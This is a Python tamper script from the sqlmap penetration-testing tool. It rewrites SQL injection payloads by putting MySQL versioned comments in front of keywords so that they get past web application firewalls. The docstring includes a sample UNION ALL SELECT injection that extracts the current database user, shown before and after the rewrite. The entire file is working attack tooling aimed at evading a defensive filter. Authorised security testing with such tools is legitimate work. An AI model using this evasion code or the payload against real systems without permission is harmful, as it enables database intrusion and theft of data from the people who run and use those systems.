#!/usr/bin/env python

"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    """
    Adds versioned MySQL comment before each keyword

    Requirement:
        * MySQL < 5.1

    Tested against:
        * MySQL 4.0.18, 5.0.22

    Notes:
        * Useful to bypass several web application firewalls when the
          back-end database management system is MySQL
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html

    >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    """

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!0%s" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal
